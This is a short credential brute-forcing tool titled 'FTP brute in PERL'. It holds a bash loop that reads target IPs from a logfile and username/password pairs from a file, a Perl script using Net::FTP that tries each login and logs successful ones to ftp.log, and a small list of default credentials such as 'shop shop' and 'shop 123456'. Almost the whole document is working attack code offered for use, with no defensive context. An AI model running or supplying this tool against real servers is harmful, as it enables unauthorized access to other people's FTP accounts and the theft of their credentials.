FTP brute in PERL

for ip in $(cat logfile)
do
        while read USR PAS
        do
                perl x.pl $ip $USR $PAS
        done < pass_file
done

#!/usr/bin/perl

use Net::FTP;

my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2] || "";
my $port = "21";

$ftp=Net::FTP->new("$host", Port=>"$port", Timeout => 5)
or die("couldn't connect to host:" . $host . " on port " . $port);

if($ftp->login("$user","$pass")) {
 print "Login found: $host $user $pass\n";
 open (MYFILE, '>>ftp.log');
 print MYFILE "$host $user $pass\n";
 close (MYFILE);
}

$ftp->close();

shop shop
sales sales
orders orders
shop password
shop 123456